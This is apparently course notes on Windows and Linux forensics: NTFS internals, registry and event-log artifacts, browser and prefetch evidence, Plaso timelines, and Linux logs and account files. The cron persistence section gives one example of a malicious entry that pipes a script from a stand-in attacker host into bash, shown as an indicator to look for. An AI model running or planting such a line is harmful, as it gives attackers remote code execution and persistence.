Windows & Linux Forensics

πŸ“ Concept Note β€” DFIR Unit III | Source: MCA Sem III Syllabus


Windows File System Internals

FAT vs NTFS

FeatureFAT32NTFS
Full FormFile Allocation Table 32New Technology File System
Max file size4 GB16 TB
Max Partition Size8 TB8 PB
JournalingNoYes ($LogFile)
PermissionsNoACLs
Forensic valueLimited metadataRich metadata (MFT)
Common useUSB drives, SD cardsWindows system drives

Master File Table (MFT)

The $MFT is the backbone of NTFS β€” every file and directory has an MFT entry containing:

  • Filename, timestamps (created, modified, accessed, MFT modified)
  • File size and data location
  • Security descriptors (permissions)
  • Whether file is resident (small files stored IN the MFT) or non-resident

Key NTFS System Files

FilePurposeForensic Value
$MFTMaster File TableAll file metadata
$LogFileTransaction journalWhat changed and when
$UsnJrnlChange journalHistory of file changes
$BitmapAllocation bitmapWhich clusters are used

Deleted File Recovery from NTFS

When deleted: MFT entry marked inactive, but data remains until overwritten. Forensic tools (Autopsy) can recover files from inactive MFT entries and unallocated space.


Windows Artifacts

Registry Hives

HiveLocationContains
SAMC:\Windows\System32\config\SAMLocal user accounts and password hashes
SECURITYC:\Windows\System32\config\SECURITYSecurity policies, cached domain credentials
SOFTWAREC:\Windows\System32\config\SOFTWAREInstalled software, OS configuration
SYSTEMC:\Windows\System32\config\SYSTEMHardware config, services, mounted devices
NTUSER.DATC:\Users\<username>\NTUSER.DATPer-user settings, recent files, run history

Registry Keys of Interest

Key PathWhat It Reveals
SYSTEM\MountedDevicesDevices that were connected
SYSTEM\ControlSet001\Enum\USBSTORUSB device history (vendor, product, serial)
SOFTWARE\Microsoft\Windows\CurrentVersion\RunPrograms that auto-start (persistence)
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RecentDocsRecently opened files
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\UserAssistPrograms executed (ROT13 encoded)
NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\RunMRURun dialog history

Event Logs

LogLocationKey Events
SecuritySecurity.evtxLogins (4624), failed logins (4625), account creation (4720)
SystemSystem.evtxService installation (7045), system startup/shutdown
ApplicationApplication.evtxApplication errors and warnings

πŸ”— Full reference: Windows Event IDs Reference ⚑

Browser Artifacts

BrowserHistory LocationCookie DBDownloads
ChromeAppData\Local\Google\Chrome\User Data\Default\HistoryCookiesHistory
FirefoxAppData\Roaming\Mozilla\Firefox\Profiles\*.default\places.sqlitecookies.sqlitedownloads
EdgeSimilar to Chrome (Chromium-based)

Forensic value: URLs visited, timestamps, search queries, downloaded files, cached pages, form data

Prefetch Files

Location: C:\Windows\Prefetch\

  • Records: program name, execution count, last run time, files accessed
  • Format: PROGRAM.EXE-XXXXXXXX.pf
  • Forensic value: Proves a program was executed, even if deleted

LNK Files (Shortcuts)

  • Created automatically when files are opened
  • Contain: target path, timestamps, volume serial number, MAC address
  • Found in: C:\Users\<user>\AppData\Roaming\Microsoft\Windows\Recent\

Shellbags

  • Registry entries tracking folder access (view settings, window position)
  • Prove user browsed a specific folder even if folder/files are deleted
  • Useful for proving USB drive access

Timeline Analysis

log2timeline / Plaso

Automated tool that extracts timestamps from multiple sources and creates a single unified timeline.

# Create timeline from disk image
log2timeline.py timeline.plaso evidence.E01
 
# Convert to CSV for analysis
psort.py -o l2tcsv timeline.plaso > timeline.csv

Sources it parses: MFT, event logs, browser history, registry, prefetch, LNK files, and more.


Linux Forensics

ext3/ext4 File System

  • Standard Linux file system
  • Journaling β€” records changes before writing (aids recovery)
  • Inodes β€” contain file metadata (like MFT entries)
  • Deleted files: inode data pointer zeroed, but data may remain

Key Directories

DirectoryForensic Value
/var/log/System and application logs
/etc/System configuration files
/home/<user>/User data, dotfiles, history
/tmp/Temporary files (attacker staging area)
/root/Root user’s home directory

Critical Log Files

LogContents
/var/log/auth.logAuthentication events (SSH, sudo)
/var/log/syslogGeneral system messages
/var/log/kern.logKernel messages
/var/log/apache2/access.logWeb server requests
/var/log/cron.logCron job execution

User Account Artifacts

FileContents
/etc/passwdUser accounts (username, UID, home, shell)
/etc/shadowPassword hashes (restricted access)
/etc/groupGroup memberships
~/.bash_historyCommand history
~/.ssh/known_hostsSSH connections made
~/.ssh/authorized_keysWho can SSH in as this user

Cron Jobs as Persistence

Attackers add cron jobs for persistence:

# User crontabs
crontab -l -u <username>
 
# System crontabs
/etc/crontab
/etc/cron.d/
/etc/cron.daily/

Suspicious cron: */5 * * * * curl http://evil.com/payload.sh | bash


Forensic Tools Summary

ToolPurposeType
AutopsyDisk analysis, file recovery, timelineOpen-source GUI
Sleuth KitCLI disk forensics (Autopsy’s backend)Open-source CLI
FTKComplete forensic suiteCommercial
Registry ExplorerWindows registry analysisFree